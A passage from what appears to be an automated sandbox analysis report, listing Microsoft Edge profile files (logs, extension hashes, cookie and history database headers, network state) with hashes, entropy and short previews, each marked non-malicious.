Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.165718720233214
Encrypted:	false
SSDEEP:	6:cOUk6GqM+q2P923oH+Tcwt8aPrqIFUt8HOUiupZmw+HOUtMVkwO923oH+Tcwt8a4:f56pM+v4YebL3FUt8um/+ucMV5LYebQJ
MD5:	2ABC752B8708F095A15F10B2A72B1AC9
SHA1:	87D4B2CE47E504ACA9D6E7034B4A0EBE824C5E71
SHA-256:	212D554DB82B36ED01811F9BD7B86ABB5C7A1F2C4820F2625F3D554A988AA277
SHA-512:	57503CAFF91DF3E3839D1A3D042FDE9193138D90ECB23DFEF3E5076AA349C6FF7F7FAD2D2D9EF71443295E4340E0FC8F28C14C473E6B5DA017419FD54ADC61A3
Malicious:	false
Preview:	2024/10/29-01:59:19.407 1a6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/29-01:59:19.408 1a6c Recovering log #3.2024/10/29-01:59:19.409 1a6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.165718720233214
Encrypted:	false
SSDEEP:	6:cOUk6GqM+q2P923oH+Tcwt8aPrqIFUt8HOUiupZmw+HOUtMVkwO923oH+Tcwt8a4:f56pM+v4YebL3FUt8um/+ucMV5LYebQJ
MD5:	2ABC752B8708F095A15F10B2A72B1AC9
SHA1:	87D4B2CE47E504ACA9D6E7034B4A0EBE824C5E71
SHA-256:	212D554DB82B36ED01811F9BD7B86ABB5C7A1F2C4820F2625F3D554A988AA277
SHA-512:	57503CAFF91DF3E3839D1A3D042FDE9193138D90ECB23DFEF3E5076AA349C6FF7F7FAD2D2D9EF71443295E4340E0FC8F28C14C473E6B5DA017419FD54ADC61A3
Malicious:	false
Preview:	2024/10/29-01:59:19.407 1a6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/29-01:59:19.408 1a6c Recovering log #3.2024/10/29-01:59:19.409 1a6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.174331501016166
Encrypted:	false
SSDEEP:	6:cOUau8M+q2P923oH+Tcwt865IFUt8HOUqXZmw+HOUcpMVkwO923oH+Tcwt86+ULJ:fS8M+v4Yeb/WFUt8ud/+uNpMV5LYeb/L
MD5:	91DDABE1C5A79BCE7F40CB07E394AA45
SHA1:	174BA145A6E632FF2900A3E1B86D4B842F11361C
SHA-256:	876585E74BEE50DE3104EFC28A8704244D660373031004A26EA3B88E4B7644EA
SHA-512:	E67A2A88CE02566380AE09B1E7738E8263689C4AC9E4D9DDBBE7C5E1F9FDF1BFE64EC35C486C8CB72287195C8080FED4552E8A17DE2A98A8A88A1F7B2F75600B
Malicious:	false
Preview:	2024/10/29-01:59:19.462 1a6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/29-01:59:19.463 1a6c Recovering log #3.2024/10/29-01:59:19.464 1a6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.174331501016166
Encrypted:	false
SSDEEP:	6:cOUau8M+q2P923oH+Tcwt865IFUt8HOUqXZmw+HOUcpMVkwO923oH+Tcwt86+ULJ:fS8M+v4Yeb/WFUt8ud/+uNpMV5LYeb/L
MD5:	91DDABE1C5A79BCE7F40CB07E394AA45
SHA1:	174BA145A6E632FF2900A3E1B86D4B842F11361C
SHA-256:	876585E74BEE50DE3104EFC28A8704244D660373031004A26EA3B88E4B7644EA
SHA-512:	E67A2A88CE02566380AE09B1E7738E8263689C4AC9E4D9DDBBE7C5E1F9FDF1BFE64EC35C486C8CB72287195C8080FED4552E8A17DE2A98A8A88A1F7B2F75600B
Malicious:	false
Preview:	2024/10/29-01:59:19.462 1a6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/29-01:59:19.463 1a6c Recovering log #3.2024/10/29-01:59:19.464 1a6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.137013883014683
Encrypted:	false
SSDEEP:	6:cOFLoM+q2P923oH+Tcwt8NIFUt8HOFLBsZmw+HOFLBHMVkwO923oH+Tcwt8+eLJ:fFLoM+v4YebpFUt8uFL6/+uFLlMV5LYN
MD5:	42126805815880AF289637552293DFCE
SHA1:	35BE88A1F7251E9E8BB84070BF67855309B92164
SHA-256:	B19EB5920A4C8DEBAF14A48C591E57F5F96B599E04AD896070681E58A423AC26
SHA-512:	6BD5EC3BF679C8D7B504F6CA5323F75F1F4E9067FCDEB7ED5D8215F419E7611AB1FC65D6EA11D8C252FE1F77F89233AFACDA709601DF81096B78B482851991D5
Malicious:	false
Preview:	2024/10/29-01:59:20.216 1a6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/29-01:59:20.217 1a6c Recovering log #3.2024/10/29-01:59:20.217 1a6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.137013883014683
Encrypted:	false
SSDEEP:	6:cOFLoM+q2P923oH+Tcwt8NIFUt8HOFLBsZmw+HOFLBHMVkwO923oH+Tcwt8+eLJ:fFLoM+v4YebpFUt8uFL6/+uFLlMV5LYN
MD5:	42126805815880AF289637552293DFCE
SHA1:	35BE88A1F7251E9E8BB84070BF67855309B92164
SHA-256:	B19EB5920A4C8DEBAF14A48C591E57F5F96B599E04AD896070681E58A423AC26
SHA-512:	6BD5EC3BF679C8D7B504F6CA5323F75F1F4E9067FCDEB7ED5D8215F419E7611AB1FC65D6EA11D8C252FE1F77F89233AFACDA709601DF81096B78B482851991D5
Malicious:	false
Preview:	2024/10/29-01:59:20.216 1a6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/29-01:59:20.217 1a6c Recovering log #3.2024/10/29-01:59:20.217 1a6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21848828281205318
Encrypted:	false
SSDEEP:	3:u9tFlljq7A/mhWJFuQ3yy7IOWUbolwtdweytllrE9SFcTp4AGbNCV9RUIX:uG75fOSlQd0Xi99pEYh
MD5:	F3ADEC2E7C84E1100A46930FB00A9A00
SHA1:	3B01D05D99F601BD7AACB7B2F0B50A7E5A09E05E
SHA-256:	B2656F8DCA3AFF0F4A7F416846CFCEFC67E43016F99DF2B552F49EDCDFCE22A1
SHA-512:	5CCD94893664424196B1D23408B27C2DA60790E06D81B7FC61D50B4799FFC42ECF4B230D42476EE1C5528E7A169027F0D3DC128669B32FAF2F2F5B12CA2C5592
Malicious:	false
Preview:	..................&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6477342655770615
Encrypted:	false
SSDEEP:	384:aj9P0ycSQkQerxP/KbtpjlU773pL9hCgam6ItRKToaAu:adcSe2xP/IlU7Pv9RKcC
MD5:	20FAB3D61C4FCF6BE87F68C42A1A4B0B
SHA1:	C5757BE81A4E3643A7FDBC17F82974BE03C78A87
SHA-256:	6E5476386E9D815A2D823110B3E96E66109C6E5CD6800FE74F4FC61BC6898CE2
SHA-512:	97F26CCAF3D2D8D420747CA17146055245CEEF8D4036903D6A7E18EF9DEB1F11A2CF4FCB558253AE11A634358616FE74D2F4504B70F1A95FF318BDAEC230B149
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.263906362405686
Encrypted:	false
SSDEEP:	12:fGqM+v4Yeb8rcHEZrELFUt8uT/+uuMV5LYeb8rcHEZrEZSJ:fT4Yeb8nZrExg8ubbLYeb8nZrEZe
MD5:	FA5ED83C6215205CB521C17CC4C377E9
SHA1:	4EEF38B3927AC1E3F00FA79AD27285C6A71F3FD0
SHA-256:	39EB446416A9A69BD75DB5C343FEEF43CFED4CB6BD02616A454C1809AA3A8664
SHA-512:	A40696F2A33A09386C26339560239170DE1190DC28DF8F2DF652E6CC27E3060A318E822DE952EC78CBE23895B200B5B9505C6A47F585590758016AFFDFC08208
Malicious:	false
Preview:	2024/10/29-01:59:23.393 1a6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/29-01:59:23.394 1a6c Recovering log #3.2024/10/29-01:59:23.394 1a6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.263906362405686
Encrypted:	false
SSDEEP:	12:fGqM+v4Yeb8rcHEZrELFUt8uT/+uuMV5LYeb8rcHEZrEZSJ:fT4Yeb8nZrExg8ubbLYeb8nZrEZe
MD5:	FA5ED83C6215205CB521C17CC4C377E9
SHA1:	4EEF38B3927AC1E3F00FA79AD27285C6A71F3FD0
SHA-256:	39EB446416A9A69BD75DB5C343FEEF43CFED4CB6BD02616A454C1809AA3A8664
SHA-512:	A40696F2A33A09386C26339560239170DE1190DC28DF8F2DF652E6CC27E3060A318E822DE952EC78CBE23895B200B5B9505C6A47F585590758016AFFDFC08208
Malicious:	false
Preview:	2024/10/29-01:59:23.393 1a6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/29-01:59:23.394 1a6c Recovering log #3.2024/10/29-01:59:23.394 1a6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1656
Entropy (8bit):	5.6867281667690674
Encrypted:	false
SSDEEP:	48:gZRZE9rlahrXZDsV03Sx4/DU71zGHHHxda2LoEJ:gTKLahT9CWVRxLn
MD5:	A02D117D03F288D7DA5E5F500642B148
SHA1:	01E44C8D08094E6E781A9B672201CF404B7A075A
SHA-256:	58F87885E6F2891FCD0958FEBB8C016CE9D6ECE61FECE93064B8CE33C8549ABE
SHA-512:	425AF2D1DE96C17F78A6F9926AACDE5ABC1B5257A5F6CCD28A96FDBC21C82B7C2C8450EAACDCD0AAD8DE3ED9305ECE14E7F8998D86E03E847381C81C66191DBF
Malicious:	false
Preview:	.U.z................VERSION.1..META:https://ntp.msn.com............_https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":493}.!_https://ntp.msn.com..LastKnownPV..1730181569339.-_https://ntp.msn.com..LastVisuallyReadyMarker..1730181570770.._https://ntp.msn.com..MUID!.082392D97AE764340DA987FE7BEF6550.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1730181569440,"schedule":[-1,33,-1,-1,-1,11,9],"scheduleFixed":[-1,33,-1,-1,-1,11,9],"simpleSchedule":[31,49,37,50,47,38,42]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1730181569298.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241028.307"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.148648933124962
Encrypted:	false
SSDEEP:	6:cOU5CQ+q2P923oH+Tcwt8a2jMGIFUt8HOU5jbgZmw+HOU5v4SQVkwO923oH+Tcw2:fC+v4Yeb8EFUt8ut/+udV5LYeb8bJ
MD5:	55A44A4C4E7C169C3CA1879A35BF8FC1
SHA1:	3E3480C0A930E79FCBBADE9784327EC49C140C65
SHA-256:	F8A7A1AF719336DB0CD6875B0E302392D45868586C5F9EF17A51C127884FDAA5
SHA-512:	36E02C9A2593022442BE0D738C8E2467FDD6AFE015880C439D780ABA4E173B9F5F4A6042665613715DA6FB6914BEE9B45B2FA79B4D9674742C8036CC01002534
Malicious:	false
Preview:	2024/10/29-01:59:19.774 1c2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/29-01:59:19.775 1c2c Recovering log #3.2024/10/29-01:59:19.779 1c2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.148648933124962
Encrypted:	false
SSDEEP:	6:cOU5CQ+q2P923oH+Tcwt8a2jMGIFUt8HOU5jbgZmw+HOU5v4SQVkwO923oH+Tcw2:fC+v4Yeb8EFUt8ut/+udV5LYeb8bJ
MD5:	55A44A4C4E7C169C3CA1879A35BF8FC1
SHA1:	3E3480C0A930E79FCBBADE9784327EC49C140C65
SHA-256:	F8A7A1AF719336DB0CD6875B0E302392D45868586C5F9EF17A51C127884FDAA5
SHA-512:	36E02C9A2593022442BE0D738C8E2467FDD6AFE015880C439D780ABA4E173B9F5F4A6042665613715DA6FB6914BEE9B45B2FA79B4D9674742C8036CC01002534
Malicious:	false
Preview:	2024/10/29-01:59:19.774 1c2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/29-01:59:19.775 1c2c Recovering log #3.2024/10/29-01:59:19.779 1c2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\13bc3916-5ae6-4f98-9540-234d2176b9a2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\51395177-b70b-4c2a-9823-160c4e4d70b2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\77ca3ad5-e730-447b-8506-90df5dbe767f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 7, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.308826671934269
Encrypted:	false
SSDEEP:	192:nPjBGH0B/zbl0fIGruFvcNZs2auyoZEOBpprGsXKUja:PjoH0B7bl0fxZs2+oZEOBppavUja
MD5:	04E706876E9EF4624F047DB9D4D7EF6E
SHA1:	F8ED92C6C7FA478651A1B3CA9B6FC32ACD86E58A
SHA-256:	6E5953C006B665650DBB1E1BFF19675A087D0967882BB4C083D77B2386D427E9
SHA-512:	4C46FF8328AEF3B769F43B5E52717D98165A324DCAA620A7B687BD9FB38535D94640280C94EE07DFA896ECB562D8E9434A4DEF6BC7FC2FEE407BC2B1DFED0D26
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1789
Entropy (8bit):	5.329359000377576
Encrypted:	false
SSDEEP:	48:YcgCzsFDJtsFKfc7leeBkBRsuCgHYsQCgHzcbxo+:FSdSK2keBkBRTwTzcVo+
MD5:	B4B21F50329D8E7DBCF6D708A753A779
SHA1:	A683A746FA2D7DE8C91946DC2CFFD6488152D507
SHA-256:	572C51E7FF39911CA11A4D30C00E0A505FB9FAF059A6E76270E5DB7F605A2184
SHA-512:	FD14CEAEB654EAB9E9F41EAA4C4C94D5FA58C8013052E7D1D78B73B405C84755944966DC06EDC8BE122B43D245F44080D2048733B87BC67C26B63A553A0BB791
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377247163020618","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377247164567551","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.476291076748816
Encrypted:	false
SSDEEP:	48:T6IopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBYWT:OIEumQv8m1ccnvS66Dow0WjimFcOJ0
MD5:	55F71F17EB458C5591DBA943C1EB0129
